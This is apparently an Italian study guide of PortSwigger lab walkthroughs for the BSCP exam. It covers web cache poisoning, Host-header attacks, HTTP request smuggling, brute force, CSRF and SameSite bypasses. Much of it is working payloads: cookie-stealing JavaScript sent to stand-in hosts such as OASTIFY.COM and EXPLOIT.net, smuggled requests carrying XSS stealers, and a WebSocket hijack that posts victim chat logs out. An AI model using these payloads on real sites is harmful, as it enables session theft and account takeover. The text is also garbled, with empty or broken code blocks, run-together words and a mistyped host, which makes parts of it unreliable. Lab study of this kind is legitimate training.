Video YouTube che mostra il payload del lab sopra indicato su un server di exploit modificato per rubare il cookie della vittima quando quest'ultima accede a una voce in cache sul server back-end. Il payload è il JavaScript sopra riportato.
YouTube: Avvelenamento della cache web con header non incluso nella chiave - ladro di cookie
Estensione Param Miner per identificare le vulnerabilità della cache web
Il target è vulnerabile all'avvelenamento della cache web perché esclude un determinato parametro dalla chiave di cache. La funzionalità "Guess GET parameters" di Param Miner identificherà il parametro come utm_content.
```
GET /?utm_content='/>
>Il payload sopra viene messo in cache e il cookie della vittima che visita il target viene inviato a Burp Collaborator.

[PortSwigger Lab: avvelenamento della cache web tramite un parametro di query non incluso nella chiave](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### Cloaking di utm_content
>L'estensione Param Miner, eseguendo una `Bulk scan > Rails parameter cloaking scan`, ***identifica*** automaticamente la vulnerabilità. Manualmente può essere identificata aggiungendo `;` per aggiungere un altro parametro a `utm_content`; la cache lo tratta come un singolo parametro. Ciò significa che il parametro extra è anch'esso escluso dalla chiave di cache.
>Il `source code` per `/js/geolocate.js?callback=setCountryCookie` viene chiamato su ogni pagina ed esegue la funzione di callback.
>Il parametro `callback` è parte della chiave, e quindi non può avvelenare la cache per l'utente vittima, ma combinando un parametro duplicato con `utm_content`, tale parametro viene escluso e la cache può essere avvelenata.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

Payload di cattura cookie con cache cloaking qui sotto; continua ad avvelenare la cache finché la vittima non accede alla cache memorizzata.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>Di seguito è riportato il payload [Url Decoded](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Parameter cloaking
Aggiungendo un secondo header Host con un server di exploit, questo identifica una vulnerabilità di ambiguità della cache e instrada la tua richiesta. Nota che il server di exploit nel secondo header Host viene riflesso in un URL assoluto usato per importare uno script da
/resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net
>Imposta sul server exploit un file nello stesso percorso delle chiamate del target a ```/resources/js/tracking.js```; questo conterrà il payload. Inserisci il codice del payload JavaScript qui sotto per eseguire un cookie stealer.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger Lab: Avvelenamento della cache web tramite richieste ambigue
Identifica gli header di cache hit nelle risposte,
poi verifica se il target supporta gli headerX-Forwarded-HostoX-Forwarded-Scheme.
Questi header possono consentire il furto del cookie di sessione della vittima.
Identifica se l'aggiunta dei due header Forwarded alla richiesta GET
/resources/js/tracking.jscomporta una modifica nell'header di risposta location. Questo identifica un avvelenamento positivo della cache con più header.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>Sul server exploit cambia il percorso del file in `/resources/js/tracking.js`
>e poi aggiorna l'intestazione `X-Forwarded-Host: EXPLOIT.net` della richiesta poison.
>Inserisci il payload nel corpo del server exploit.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
Rimuovi il cache buster
cb=123, e poi avvelena la cache finché la vittima non viene reindirizzata al payload tracking.js del server di exploit per rubare il cookie di sessione.
PortSwigger Lab: Avvelenamento della cache web con più header
Identifica che l'applicazione è vulnerabile all'avvelenamento da parametro duplicato: aggiungendo un secondo parametro con lo stesso nome e un valore diverso, la risposta rifletteva il valore iniettato.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>La funzione che viene chiamata nella risposta passando un parametro callback duplicato viene riflessa. Nota che nella risposta la chiave della cache è ancora derivata dal parametro callback originale nella riga della richiesta GET.

>Non sono riuscito a far funzionare il payload per il furto di cookie......
[PortSwigger Lab: Avvelenamento della cache web tramite una richiesta GET fat](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host Headers
[Spoof dell'indirizzo IP](#spoof-ip-address)
[Stato della connessione HOST](#host-connection-state)
[SSRF basato sul routing dell'Host](#host-routing-based-ssrf)
[SSRF tramite parsing difettoso della richiesta Host](#absolute-get-url--host-ssrf)
### Spoof IP Address
>***Identifica*** che gli header HOST alterati sono supportati,
>il che ti consente di spoofare il tuo indirizzo IP e bypassare la protezione contro il brute-force basato su IP
>o attacchi di redirezione per effettuare l'avvelenamento del ***password reset***.
>Includi gli header `X- ` di seguito e modifica il parametro username nella richiesta di password reset in `Carlos` prima di inviare la richiesta.
>Nell'esame BSCP, se hai usato questo exploit significa che non hai usato una vulnerabilità che richiede interazione con l'utente e che ti consente di usare una vulnerabilità di interazione per ottenere l'accesso allo stage 3 come admin usando la funzione `Deliver exploit to victim` del server di exploit.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Suggerimenti e note da fullfox:
Host: o X-Forwarded-Host:, se si riceve l'errore Invalid hostname, prova a usare il seguente hostname: xxx.oastify.com?TARGET.net URL del target legittimo senza barra.Controlla il log del server exploit per ottenere il link di reset per il nome utente della vittima.

PortSwigger Lab: Avvelenamento del reset della password tramite middleware
Il target è vulnerabile a SSRF basato sul routing tramite l'header Host, ma convalida lo stato della connessione della prima richiesta. L'invio di richieste raggruppate in sequenza utilizzando una singola connessione e impostando l'header di connessione su keep-alive bypassa la convalida dell'header Host e consente lo sfruttamento SSRF del server locale.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>La prossima richiesta è la seconda scheda nella sequenza di richieste del gruppo.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
Osserva che la seconda richiesta ha avuto accesso con successo al pannello di amministrazione.

PortSwigger Lab: Bypass della convalida dell'host tramite attacco allo stato della connessione
Architettura con server front-end e back-end, in cui il front-end o il back-end non supporta la codifica chunked (HEX) o content-length (Decimal). Bypassare i controlli di sicurezza per recuperare la richiesta della vittima e utilizzare i cookie dell'utente vittima per accedere al suo account.
TE.CL dualchunk - Transfer-encoding offuscato
TE.CL multiCase - Admin bloccato
CL.TE multiCase - Admin bloccato
CL.TE multiCase - Content-Length Stealer di cookie
CL.TE multiCase - User-Agent Stealer di cookie
Contrabbando HTTP/2 - Iniezione CRLF Stealer di cookie
HTTP/2 TE - Admin Stealer di cookie
Se sono consentiti nomi di header duplicati e la vulnerabilità viene rilevata come dualchunk, aggiungi un header aggiuntivo con nome e valore = Transfer-encoding: cow. Utilizza tecniche di offuscamento con il secondo TE.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>Alcuni server che supportano l'header `Transfer-Encoding` possono essere indotti a non elaborarlo se l'header viene **offuscato** in qualche modo.
>Nel menu Repeater assicurarsi che l'opzione **"Update Content-Length"** non sia selezionata.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

Nota: devi includere la sequenza finale \r\n\r\n dopo lo 0 finale.
PortSwigger Lab: HTTP request smuggling, offuscamento dell'header Transfer-Encoding (TE)
Ti sei mai chiesto quanto spesso accade che un hacker riesca a rubare la richiesta di un utente in visita tramite la vulnerabilità HTTP Sync?
Quando si tenta di accedere al percorso URL del portale
/admin, otteniamo il messaggio del filtro,Path /admin is blocked. Lo scanner HTTP Request Smuggler identifica la vulnerabilità comeTE.CL multiCase (delayed response). Nota: poiché il server back-end non supporta la codifica chunked, disattivaUpdate Content-Lengthnel menu Repeater.
Dopo aver disattivato l'aggiornamento automatico di Content-Length, passando a
HTTP/1.1, invia la richiesta seguente due volte, aggiungendo il secondo headerContent-Length: 15per evitare che l'header HOST entri in conflitto con la prima richiesta.
Nota: è necessario includere la sequenza finale\r\n\r\ndopo lo0finale.
La correzione manuale dei campi di lunghezza negli attacchi di request smuggling richiede che ogni dimensione di chunk in byte sia espressa in ESADECIMALE, e Content-Length specifica la lunghezza del corpo del messaggio in byte. I chunk sono seguiti da una newline, poi dal contenuto del chunk. Il messaggio termina con un chunk di dimensione ZERO.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>Calcolo della lunghezza della richiesta di contrabbando TE.CL (Transfer-Encoding / Content-Length) in **ESADECIMALE** e il payload è compreso tra la lunghezza esadecimale di **71** e lo **ZERO** di terminazione, non includendo lo ZERO e non includendo il `\r\n` precedente sulla riga sopra lo ZERO, come parte della lunghezza. Il **content-length** della richiesta POST iniziale è impostato manualmente.

>Quando si invia `/admin/delete?username=carlos` per eliminare l'utente, la lunghezza esadecimale del transfer encoding viene cambiata dal valore esadecimale `71` a `88` per includere la dimensione extra della richiesta contrabbandata.
[Laboratorio PortSwigger: sfruttare l'HTTP request smuggling per bypassare i controlli di sicurezza del front-end, vulnerabilità TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - Admin bloccato
>Quando si tenta di accedere al percorso URL del portale `/admin`, otteniamo il messaggio del filtro `Path /admin is blocked`. Lo scanner HTTP Request Smuggler ***identifica*** la vulnerabilità come `CL.TE multiCase (delayed response)`.
>Per accedere al pannello di amministrazione, invia la richiesta seguente due volte, aggiungendo la seconda intestazione ```Content-Length: 10``` per evitare che l'intestazione HOST entri in conflitto con la prima richiesta.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Alla seconda volta che la richiesta viene inviata, il portale admin viene restituito nella risposta.

Content-Length elevato per catturare le richieste della vittima. Invio di una richiesta POST con una richiesta contrabbandata, ma con una content length maggiore della lunghezza reale; quando la vittima naviga, il valore del cookie di sessione viene pubblicato nel commento blob. È stata aumentata la Content-Length della richiesta di pubblicazione del commento a 798, quindi si contrabbanda una richiesta POST al server back-end.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>Nessuna nuova riga alla fine della richiesta POST contrabbandata qui sopra^^.
>Consulta il blog **post** per vedere se c'è un commento contenente la richiesta di un utente. Nota che l'attacco avrà successo solo dopo che l'utente vittima avrà visitato il sito web di destinazione. Copia l'header Cookie dell'utente dal commento del blog e usa il cookie per accedere all'account della vittima.

[PortSwigger Lab: Sfruttamento dello smuggling di richieste HTTP per catturare le richieste di altri utenti](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - Furto di cookie tramite User-Agent
>***Identifica*** che il valore UserAgent è memorizzato nella richiesta GET che carica il modulo dei commenti del blog, e memorizzato nel valore nascosto **User-Agent**. Sfrutta lo smuggling di richieste HTTP per veicolare una XSS riflessa usando il valore **User-Agent** che viene poi inserito in una richiesta contrabbandata.
>Payload di base di Cross Site Scripting che fuoriesce dal documento HTML.```JavaScript
"/><script>alert(1)</script>
COOKIE STEALER Payload.```JavaScript a"/>;
>Intrufola questa richiesta XSS al server back-end, così che colpisca il prossimo visitatore. Inserisci il ladro di cookie XSS nell'header **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

Controlla la richiesta Collaborator di PortSwigger ricevuta dalla vittima che naviga sul target.

PortSwigger Lab: Sfruttare l'HTTP request smuggling per veicolare una XSS riflessa
Il target è vulnerabile al request smuggling perché il server front-end retrocede le richieste HTTP/2 e non riesce a sanificare adeguatamente le intestazioni in arrivo. Lo sfruttamento avviene tramite un vettore di request smuggling esclusivo di HTTP/2 per rubare il cookie di sessione della vittima e ottenere accesso all'account dell'utente.
Identifica una possibile vulnerabilità quando il target riflette la cronologia delle ricerche precedenti e recenti in base al cookie; rimuovendo il cookie, si nota che la cronologia delle ricerche viene azzerata, confermando che è legata al cookie di sessione.

Espandi la sezione Request Attributes dell'Inspector e cambia il protocollo in HTTP/2, quindi aggiungi un'intestazione arbitraria
foocon valorebar, seguita dalla sequenza\r\n, e poi dalTransfer-Encoding: chunked, premendo shift+ENTER.

Nota: abilita l'opzione Allow HTTP/2 ALPN override e cambia il corpo della richiesta HTTP/2 con la richiesta POST indicata di seguito.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[PortSwigger Lab: HTTP/2 request smuggling via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Youtube demo HTTP/2 request smuggling via CRLF injection](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>Il target è vulnerabile al request smuggling perché il server front-end declassa le richieste HTTP/2 anche se hanno una lunghezza ambigua. Ruba il cookie di sessione dell'amministratore che visita il target. L'estensione di Burp, **HTTP Request Smuggler** ***identificherà*** la vulnerabilità come vulnerabilità HTTP/2 TE desync v10a (H2.TE).

>Nota: Passa a **HTTP/2** negli attributi della richiesta nell'inspector e abilita l'opzione **Allow HTTP/2 ALPN override** nel menu repeat.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
Nota: i percorsi nelle richieste POST e GET puntano a endpoint inesistenti. Questo aiuta a identificare quando, non ricevendo una risposta 404, la risposta proviene dalla richiesta catturata dell'utente vittima. Ricorda di terminare correttamente la richiesta contrabbandata includendo la sequenza
\r\n\r\ndopo l'intestazione Host.

Copia il valore del cookie di sessione rubato in una nuova richiesta GET http/2 al pannello di amministrazione.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[PortSwigger Lab: Response queue poisoning via H2.TE request smuggling](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Brute Force
[Stay-Logged-in](#stay-logged-in)
[Stay-logged-in Offline Crack](#stay-logged-in-offline-crack)
[Brute Force Protected Login](#brute-force-protected-login)
[Subtly Invalid Login](#subtly-invalid-login)
### Stay-Logged-in
>L'opzione di accesso con una casella di controllo stay-logged-in genera un valore di cookie contenente la password dell'utente autenticato ed è vulnerabile al brute forcing.

>Di seguito i passaggi per l'exploit, insieme alle regole di elaborazione dei payload di Intruder in ordine, inclusa l'opzione GREP, prima di avviare l'attacco.
1. Esegui il logout come utente corrente.
2. Invia la richiesta GET /my-account più recente a Burp Intruder.
3. Seleziona il cookie: ```stay-logged-in``` come posizione di iniezione.
4. Hash: ```MD5```
5. Aggiungi il prefisso: ```carlos:```
6. Codifica: ```Base64-encode```
7. Aggiungi **GREP** nella scheda impostazioni per verificare nella risposta la stringa ```Update email``` che indica un accesso riuscito.

[PortSwigger Lab: Brute-forcing a stay-logged-in cookie](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Stay-logged-in Offline Crack
>La funzione dei commenti dell'applicazione blog è vulnerabile a [stored XSS](#stored-xss); usa il payload seguente nel commento del blog per inviare il cookie di sessione di Carlos al server di exploit.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
Decodifica in Base64 il valore del cookie
stay-logged-ine usa un database online di una stazione di cracking di hash MD5.

PortSwigger Lab: Cracking offline delle password
Identificata la protezione contro la forza bruta sul login quando il backend impone un ban di 30 minuti, con conseguente IP bloccato dopo troppi tentativi di accesso non validi. Testare l'header
X-Forwarded-For:consente di bypassare la protezione contro la forza bruta. Osservando il tempo di risposta con una password lunga non valida, possiamo usare la tecnica Pitchfork per identificare i primi username validi con una password lunga casuale, e poi rieseguire Intruder con Pitchfork, impostando ogni posizione del payload: l'attacco itera attraverso tutti i set simultaneamente.
Burp Lab Wordlist per Username, Password e fuzzing di directory
Posizione del payload 1 sull'indirizzo IP per
X-Forwarded-For:e posizione 2 sull'username con una password lunga, per vedere il ritardo del tempo di risposta nella finestra delle colonne dell'attacco.``` X-Forwarded-For: 12.13.14.15

>Ripeti l'attacco Intruder **Pitchfork** di cui sopra sul campo password, quindi ***identifica*** la password valida dalla colonna di stato con un risultato 302.
[Laboratorio PortSwigger: enumerazione degli username tramite timing di risposta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### Login Non Valido Subdolo
>***Identifica*** che la pagina di login e il ripristino della password non sono protetti da attacchi di forza bruta e che non viene applicato alcun blocco IP o timeout per username o password non validi.
>Suggerimento per l'esame BSCP: a volte c'è un altro utente con una password debole che può essere forzata tramite brute force. Carlos non è sempre l'account da prendere di mira per ottenere un accesso iniziale nella fase 1.

>Nota che nella colonna dell'attacco Intruder per il valore GREP, ```Invalid username or password.```, il messaggio di risposta per un attacco con username non valido non contiene il punto fermo alla fine. Ripeti l'attacco con questo username ***identificato***, ed esegui un attacco **Sniper** sul campo password per ***identificare*** la risposta ```302``` per il login valido.

>Nell'esame BSCP ***cerca*** altri messaggi restituiti che siano diversi e rivelino account validi nell'applicazione, consentendo l'***identificazione*** tramite forza bruta delle password degli account, come nell'esempio della funzione [refresh password reset](#refresh-password-broken-logic).
>Una volta identificato un username valido da un messaggio di risposta diverso, esegui la [forza bruta](#brute-force) usando Burp Intruder sulla password.
[Laboratorio PortSwigger: enumerazione degli username tramite risposte leggermente diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>Un altro scenario per identificare un username valido sull'app WEB è fornire una lista di username al login e un unico valore di password non valido. Nei risultati dell'attacco Intruder, una risposta conterrà il messaggio `Incorrect password`.
>Posizione di iniezione dell'attacco Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[Laboratorio PortSwigger: enumerazione degli username tramite risposte diverse](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## Autenticazione
[Registrazione Account](#account-registration)
[Macro di bypass del token di autenticazione](#auth-token-bypass-macro)
### Registrazione Account
>Una falla nella logica di business della funzionalità di registrazione account consente di ottenere un accesso iniziale con il ruolo dell'utente target. [Content Discovery](#content-discovery) trova il percorso ```/admin```; il messaggio indica che l'interfaccia Admin è disponibile solo se si accede come utente **DontWannaCry**.

>La creazione di un'email con più di 200 caratteri prima del simbolo ```@``` viene poi troncata a 255 caratteri. Questo ***identifica*** la vulnerabilità nella **falla** logica della pagina di registrazione account. Nell'email sottostante, la ```m``` alla fine di ```@dontwannacry.com``` è esattamente il carattere 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

PortSwigger Lab: gestione incoerente dell'input eccezionale
Se il login di autenticazione è protetto contro la forza bruta utilizzando un token casuale impiegato in ogni POST di login, è possibile utilizzare una Macro di Burp per bypassare la protezione.
Crea una Macro di Burp
Macros e aggiungi una nuova macro.Configure item e aggiungi la posizione del parametro personalizzato da estrarre.Include all URLs.
PortSwigger Lab: falla logica del denaro infinito - come creare una Macro di Burp
OAuth
CSRF con validazione del Referer
Intestazione Referer presente
LastSearchTerm
CSRF duplicato nel cookie
Token CSRF presente
È loggato
CSRF senza difese
Bypass di SameSite Strict
Bypass di SameSite Lax
La vulnerabilità Cross-Site Request Forgery consente a un attaccante di costringere gli utenti a eseguire azioni che non intendevano compiere. Questo può permettere all'attaccante di modificare l'indirizzo email della vittima e usare il reset della password per assumere il controllo dell'account.
Exploit del collegamento OAuth: ospita un iframe sul server di exploit, poi consegnalo alla vittima, costringendo l'utente ad aggiornare il codice collegato.

Intercetta la richiesta GET /oauth-linking?code=[...]. Inviala a Repeater per salvare il codice. Drop la richiesta. Importante per assicurarsi che il codice non venga utilizzato e rimanga valido. Salva sul server di exploit un iframe in cui l'attributo
srcpunti all'URL che hai appena copiato.```html
[Lab PortSwigger: collegamento forzato del profilo OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### CSRF nella validazione del Referer
>***Individua*** che la funzione di modifica email è vulnerabile a CSRF osservando che quando il valore dell'header **Referer** viene modificato, la risposta restituisce il messaggio `Invalid referer header`, e la modifica dell'email viene accettata quando il valore del referrer contiene il dominio target atteso da qualche parte nel valore.

>Aggiungendo il dominio originale del target e aggiungendo `history.pushState('', '', '/?TARGET.net');` all'header **Referer** sotto forma di query string, si consente alla modifica dell'email di andare a buon fine.```html
Referrer-Policy: unsafe-url
Nota: A differenza della normale ortografia dell'header Referer, la parola "referrer" deve essere scritta correttamente nella sezione
headdel server di exploit.

``` >Quando il payload di exploit di cui sopra viene consegnato alla vittima, il payload del POC CSRF modifica l'email della vittima in **[email protected]**, poiché l'header Referer conteneva il target nel valore. Nell'esame ***BSCP*** prendi nota del tuo indirizzo email del server ```hacker@exploit``` da usare per l'account takeover.Creare un exploit proof of concept per CSRF e ospitarlo sul server di exploit. Modificare il JavaScript in modo che il terzo argomento della funzione history.pushState() includa una query string con l'URL di destinazione.```html
Laboratorio PortSwigger: CSRF con validazione Referer non funzionante
``` >Questo è un exploit interattivo e nell'esame BSCP se l'exploit dello stage 1 non era interattivo, questo può essere usato per ottenere l'interazione dell'amministratore facendole cliccare sul link per cambiare la propria password. Nota: controllare il `source code` della pagina di cambio email per eventuali valori aggiuntivi di form id.Nella richiesta di aggiornamento email, quando si modifica l'header
referer, la risposta indicaInvalid referer header, identificando la vulnerabilità CSRF. Utilizzando il<meta name="referrer" content="no-referrer">come parte del PoC CSRF del server di exploit, questo controllo può essere bypassato. Questo istruisce il server di exploit a consegnare l'exploit alla vittima senza l'headerreferer.```html

PortSwigger Lab: CSRF dove la validazione del Referer dipende dalla presenza dell'header
Identificare la vulnerabilità CSRF in cui il token non è legato a un cookie di non-sessione, modificando il cookie csrfkey e osservando il risultato che la richiesta viene rifiutata. Osservare il valore del cookie LastSearchTerm che contiene l'input fornito dall'utente dal parametro di ricerca.

La funzione di ricerca non ha protezione CSRF, creare il payload sottostante che inietta caratteri di nuova riga
%0d%0aper impostare un nuovo valore di cookie nella risposta, e usarlo per iniettare cookie nel browser dell'utente vittima.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>Genera il POC CSRF, abilita l'opzione per includere uno script **auto-submit** e fai clic su **Rigenera**. Rimuovi il blocco di codice dello script **auto-submit** e aggiungi quanto segue al suo posto, e posiziona il codice dello script ```history.pushState``` sotto l'intestazione del body. L'**onerror** del tag IMG SRC invierà invece il POC CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
Durante BSCP Esame imposta il valore di modifica email sull'indirizzo email del server exploit [email protected]. Quindi puoi cambiare la password dell'amministratore con la funzione di reset.

Nel codice PoC CSRF sottostante, il valore csrf nascosto è quello generato dalla funzione change email e il valore csrfkey nell'
img srcè il valore della vittima, ottenuto accedendo con le credenziali fornite della vittima. non sono sicuro per l'esame, ma nel mondo reale questo è un test da eseguire.```html
Nel target identifichiamo che il token chiave CSRF è duplicato nel valore del cookie. Un altro indicatore è il cookie
LastSearchTermche contiene il valore cercato. Fornendo un valore di ricerca che contenga%0d%0apossiamo iniettare un carattere di fine riga e nuova riga per creare un nuovo cookie e valore CSRF.

Nel codice exploit il tag
img srcimposta il cookie per csrf su fake.```html
Laboratorio PortSwigger: CSRF in cui il token è duplicato nel cookie
La modifica del valore del parametro
csrfcomporta il rifiuto della richiesta di cambio email. L'eliminazione del token CSRF consente al cambio email di essere accettato, e questo identifica che la validazione della presenza del token è vulnerabile.
``` Payload PoC CSRF ospitato sul server di exploit:```html
PortSwigger Lab: CSRF dove la validazione del token dipende dalla presenza del token
Se un cookie con il nome isloggedin viene identificato, allora una richiesta POST di aggiornamento della password di amministratore potrebbe essere sfruttata.
Cambia il parametro username in administrator mentre si è connessi come utente con privilegi ridotti.
Il token CSRF non è legato alla sessione utente.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF senza difese
>Il target senza difese contro la funzione di cambio email può consentire l'escalation dei privilegi al ruolo di amministratore. Nell'esame, cambiare l'email con l'indirizzo `[email protected]` sul server exploit può consentire all'attaccante di cambiare la password dell'utente amministratore, con conseguente escalation dei privilegi.
>Nell'esame c'è solo ***un*** utente attivo, e se la fase precedente è stata completata usando un attacco che non richiedesse all'utente attivo di cliccare su un link, effettuando cache poisoning o un attacco di phishing tramite la funzione `Deliver to Victim`, allora è possibile utilizzare l'exploit di modifica tramite CSRF.

[PortSwigger Lab: vulnerabilità CSRF senza difese](https://portswigger.net/web-security/csrf/lab-no-defenses)
### Bypass di SameSite Strict
>Nella funzione chat live, notiamo che la richiesta `GET /chat HTTP/2` non utilizza token imprevedibili; questo può ***identificare*** una possibile vulnerabilità di [cross-site WebSocket hijacking](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) se è possibile bypassare la restrizione dei cookie [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).
>Ospita sul server exploit il payload POC per ***identificare*** la vulnerabilità CSWSH.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
L'attributo
SameSite=Strictè impostato per i cookie di sessione e questo impedisce al browser di includere questi cookie nelle richieste cross-site XSS. Identifichiamo l'headerAccess-Control-Allow-Originin richieste aggiuntive a script e immagini verso un sottodominio sucms-.
Navigando verso questo sottodominio CDN sucms-e poi identificando che l'input casuale del nome utente viene riflesso, è stata confermata la presenza di una vulnerabilità di XSS riflesso.
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>Bypassare le restrizioni SameSite, codificando tramite URL l'intero script qui sotto e usandolo come input per il sottodominio CDN al login con nome utente `cms-`, ospitato sul server di exploit.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Ospita quanto segue sul server di exploit e consegnalo alla vittima; una volta che il collaborator riceve la cronologia chat della vittima con la sua password, ne consegue l'account takeover.```
>La cronologia della chat contiene la password della vittima.

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### Bypass di SameSite Lax
>Osserva che se visiti `/social-login`, questo avvia automaticamente l'intero flusso OAuth. Se hai ancora una sessione attiva con il server OAuth, tutto ciò avviene senza alcuna interazione., e nella cronologia del proxy, nota che ogni volta che completi il flusso OAuth, il sito target imposta un nuovo cookie di sessione anche se eri già autenticato.
